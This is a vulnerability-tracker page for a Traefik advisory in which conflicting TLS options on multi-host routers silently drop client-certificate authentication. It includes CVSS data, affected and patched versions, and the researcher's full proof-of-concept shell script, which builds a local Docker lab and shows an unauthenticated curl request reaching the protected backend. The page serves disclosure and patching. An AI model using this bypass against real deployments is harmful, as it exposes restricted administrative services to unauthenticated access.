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Advisory · GitHub · Go · github.com/traefik/traefik/v2

GHSA-G55H-RG46-X9C5

TLS option confusion in multi-host routers can bypass mTLS for protected hosts

Parche disponible
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CVSS 4.0
8.2
Alta
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche a -3 d de la divulgación
Exposición90 dDesde la divulgación, 21 ago 2026, 4:45 a. m.
Detección89 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v2.11.55 +1
Monitoreo
Detectada +1
18 ago 26
21 ago 26
18 nov 26
19 nov 26
18 ago 26
10 sept 26
4 oct 26
27 oct 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche v2.11.55 github.com/traefik/traefik/v2 · -3 d desde divulgación
Remediación Parche v3.7.11 github.com/traefik/traefik/v3 · -3 d desde divulgación
Divulgación Publicada GHSA-G55H-RG46-X9C5 divulgada · CVSS 8.2 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

There is a high severity vulnerability in Traefik's TLS options conflict resolution. TLS options are applied during the handshake and are therefore mapped to the host names of a router rule rather than to the router itself, so when several routers on the same entry point serve the same host name with different TLS options Traefik arbitrates the conflict by falling back to the `default` TLS options — and for a multi-host router that fallback is applied to every host name in the rule, including the ones that are not themselves in conflict. A router that requires client-certificate authentication for one of its hosts therefore stops enforcing it as soon as another router creates a TLS option conflict on any other host of the same rule, and a client without a certificate can reach the protected backend. The fix introduces the `core.strictTLSOptions` static configuration option, which disables the fallback and marks the conflicting routers in error instead; it defaults to `false` to preserve the existing behaviour, so it must be explicitly enabled to take effect. Both the v2 and v3 lines are affected; the v1 line, the v2 minors below v2.11 and the v3 minors below v3.7 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.55
  • https://github.com/traefik/traefik/releases/tag/v3.7.11

For more information

If you have any questions or comments about this advisory, please open an issue https://github.com/traefik/traefik/issues.

<details>
<summary>Original Description</summary>

Summary

Traefik v3.7.9 can apply the default TLS configuration to every host served by a multi-host HTTP router when another router creates a conflicting TLS option for only one of those hosts.

This can bypass client-certificate authentication for a protected host. In the reproduction below, `admin.example.com` is configured with a TLS option that requires and verifies a client certificate. A second router for `public.example.com` creates a same-host TLS-option conflict. After the conflict is introduced, a client without a certificate can complete the TLS handshake for `admin.example.com` and reach the backend.

The PoC is self-contained in this Markdown document. It creates all certificates, Compose files, and dynamic configuration in a temporary directory at runtime. No PoC repository files need to be distributed.

Details

The affected configuration is a multi-host router with a strict TLS option:

http:
  routers:
    multi-host:
      entryPoints:
        - websecure
      rule: Host(`admin.example.com`, `public.example.com`)
      ruleSyntax: v2
      service: app
      tls:
        options: strict

and a second router that overlaps only one host with the default TLS option:

    public-default:
      entryPoints:
        - websecure
      rule: Host(`public.example.com`)
      service: app
      tls: {}

The strict option requires `RequireAndVerifyClientCert`:

tls:
  options:
    strict:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert

The affected flow is:

  1. The multi-host router is registered in both the `admin.example.com` and `public.example.com` host buckets with the strict option.
  2. The second router introduces a default-option conflict for `public.example.com`.
  3. Conflict resolution mutates the shared multi-host router to use the default TLS option.
  4. The TCP router manager installs that shared resolved option for every domain parsed from the multi-host rule, including `admin.example.com`.
  5. The SNI check uses the same router-level resolution, so the request is accepted after negotiating the default no-client-certificate TLS configuration.

Relevant source areas in v3.7.9:

  • `pkg/config/dynamic/http_config.go` https://github.com/traefik/traefik/blob/v3.7.9/pkg/config/dynamic/http_config.go: `RouterTLSConfig.ResolvedOptions` is a single router-level value.
  • `pkg/server/aggregator.go` https://github.com/traefik/traefik/blob/v3.7.9/pkg/server/aggregator.go: the same router is inserted into multiple host buckets and its shared TLS resolution is mutated during conflict handling.
  • `pkg/server/router/tcp/manager.go` https://github.com/traefik/traefik/blob/v3.7.9/pkg/server/router/tcp/manager.go: one resolved TLS configuration is installed for each domain parsed from the router rule.
  • `pkg/server/router/router.go` https://github.com/traefik/traefik/blob/v3.7.9/pkg/server/router/router.go and `pkg/middlewares/snicheck/snicheck.go` https://github.com/traefik/traefik/blob/v3.7.9/pkg/middlewares/snicheck/snicheck.go: SNI acceptance uses the router-level resolved option.
PoC

The following single shell block creates a temporary lab. It requires Docker, Docker Compose, and OpenSSL. It uses the official `traefik:v3.7.9` image and `traefik/whoami:v1.10.3` as the backend.

set -eu

LAB_DIR="$(mktemp -d)"
cleanup() {
  docker compose -f "$LAB_DIR/compose.yml" down -v >/dev/null 2>&1 || true
  rm -rf "$LAB_DIR"
}
trap cleanup EXIT

mkdir -p "$LAB_DIR/certs"
cd "$LAB_DIR"

# Create a short-lived test CA.
openssl req -x509 -newkey rsa:2048 -nodes -days 7 \
  -subj '/CN=PoC CA' \
  -keyout certs/ca.key -out certs/ca.crt

# Create a server certificate valid for both hosts.
cat > certs/server.ext <<'EOF'
subjectAltName=DNS:admin.example.com,DNS:public.example.com
extendedKeyUsage=serverAuth
EOF
openssl req -newkey rsa:2048 -nodes \
  -subj '/CN=admin.example.com' \
  -keyout certs/server.key -out certs/server.csr
openssl x509 -req -sha256 -days 7 \
  -in certs/server.csr \
  -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \
  -extfile certs/server.ext \
  -out certs/server.crt

# Create a valid client certificate for the positive control.
cat > certs/client.ext <<'EOF'
extendedKeyUsage=clientAuth
EOF
openssl req -newkey rsa:2048 -nodes \
  -subj '/CN=authorized-client' \
  -keyout certs/client.key -out certs/client.csr
openssl x509 -req -sha256 -days 7 \
  -in certs/client.csr \
  -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \
  -extfile certs/client.ext \
  -out certs/client.crt

cat > dynamic.yml <<'EOF'
tls:
  certificates:
    - certFile: /certs/server.crt
      keyFile: /certs/server.key
  options:
    strict:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert

http:
  routers:
    multi-host:
      entryPoints:
        - websecure
      rule: Host(`admin.example.com`, `public.example.com`)
      ruleSyntax: v2
      service: app
      tls:
        options: strict

    public-default:
      entryPoints:
        - websecure
      rule: Host(`public.example.com`)
      service: app
      tls: {}

  services:
    app:
      loadBalancer:
        servers:
          - url: http://backend:80
EOF

cat > compose.yml <<'EOF'
services:
  traefik:
    image: traefik:v3.7.9
    command:
      - --entrypoints.websecure.address=:8443
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --providers.file.watch=false
      - --log.level=DEBUG
      - --accesslog=true
    ports:
      - "18443:8443"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
      - ./certs:/certs:ro

  backend:
    image: traefik/whoami:v1.10.3
EOF

docker compose -f compose.yml up -d
sleep 4

echo '--- request without a client certificate ---'
set +e
curl --http1.1 -sk -D - -o - \
  --resolve admin.example.com:18443:127.0.0.1 \
  https://admin.example.com:18443/
echo "curl_exit=$?"
set -e

echo '--- request with a valid client certificate ---'
curl --http1.1 -sk -D - -o - \
  --resolve admin.example.com:18443:127.0.0.1 \
  --cert certs/client.crt --key certs/client.key \
  https://admin.example.com:18443/

echo '--- conflict evidence ---'
docker compose -f compose.yml logs --no-color traefik | \
  grep -E 'different TLS options|Adding route for admin.example.com|Adding route for public.example.com'

Observed result on Traefik v3.7.9:

--- request without a client certificate ---
HTTP/1.1 200 OK
BACKEND_REACHED or whoami backend response
curl_exit=0

--- request with a valid client certificate ---
HTTP/1.1 200 OK
BACKEND_REACHED or whoami backend response

The log contains equivalent evidence to:

Host "public.example.com" is served by multiple routers with different TLS options, default TLSOptions will be applied
Adding route for admin.example.com with TLS options default
Adding route for public.example.com with TLS options default

The no-client-certificate request succeeding is the security-relevant result. The `-k` option only skips server-certificate hostname verification in this local lab; it does not supply a client certificate.

Safe control

Replace the vulnerable `dynamic.yml` with the following split-router configuration and restart the same Compose service. This keeps the two hosts in separate routers, so the protected host has an unambiguous strict option:

tls:
  certificates:
    - certFile: /certs/server.crt
      keyFile: /certs/server.key
  options:
    strict:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert

http:
  routers:
    admin:
      entryPoints: [websecure]
      rule: Host(`admin.example.com`)
      service: app
      tls:
        options: strict

    public:
      entryPoints: [websecure]
      rule: Host(`public.example.com`)
      service: app
      tls: {}

  services:
    app:
      loadBalancer:
        servers:
          - url: http://backend:80

Run:

docker compose -f compose.yml down
# Replace dynamic.yml with the safe YAML above, then:
docker compose -f compose.yml up -d
sleep 4

set +e
curl --http1.1 -sk -D - -o - \
  --resolve admin.example.com:18443:127.0.0.1 \
  https://admin.example.com:18443/
echo "curl_exit=$?"
set -e

curl --http1.1 -sk -D - -o - \
  --resolve admin.example.com:18443:127.0.0.1 \
  --cert certs/client.crt --key certs/client.key \
  https://admin.example.com:18443/

Expected safe-control result:

Without a client certificate: TLS handshake failure
With the valid client certificate: HTTP/1.1 200 OK
Impact

An unauthenticated remote client that can reach the affected TLS entrypoint may access a backend protected by client-certificate authentication. This can expose administrative or otherwise restricted services under the protected hostname. The confidentiality, integrity, and availability impact depends on the backend exposed through that hostname.

The issue is limited to configurations where a multi-host router overlaps a router with a different TLS option for only one of its hostnames. Single-host routers and multi-host configurations without conflicting TLS options are not expected to trigger this condition.

The flaw does not require the HTTP attacker to control the Traefik configuration after the conflicting routers have been deployed. In a multi-tenant deployment, a principal able to create a conflicting router may be able to trigger the condition; once present, the protected request itself requires no client certificate.

Suggested remediation

Track the resolved TLS option per hostname instead of storing only one resolved value on `RouterTLSConfig`. The TCP router manager and SNI check should retrieve the option for the canonical SNI/Host currently being processed.

Add an integration test covering:

  1. One router with `Host("admin.example.com", "public.example.com")` and strict mTLS.
  2. One router with `Host("public.example.com")` and default TLS.
  3. A request to `admin.example.com` without a client certificate.
  4. A request to `admin.example.com` with a valid client certificate.

The first request must fail the TLS handshake, and only the second request should reach the backend.

Version information

The behavior was reproduced with the official `traefik:v3.7.9` image. The complete affected version range and patched version are not known from this validation and should be confirmed against additional released versions.

</details>

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:P
NingunoPresentes
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:H
AltoBajoNinguno
Integridad (sistema)VI:N
AltoBajoNinguno
Disponib. (sistema)VA:N
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:N
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
github.com/traefik/traefik/v2≤ v2.11.54
github.com/traefik/traefik/v3≥ v3.0.0 ≤ v3.7.10
v2.11.54
v2.11.63
v3.0.0
v3.7.10
v3.7.19
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/traefik/traefik/v2
Corregida v2.11.55 -3 d v2.11.63 no afectada
gogithub.com/traefik/traefik/v3
Corregida v3.7.11 -3 d v3.7.19 no afectada
Versiones corregidasv2.11.55v3.7.11
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/traefik/traefik/security/advisories/GHSA-g55h-rg46-x9c5

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.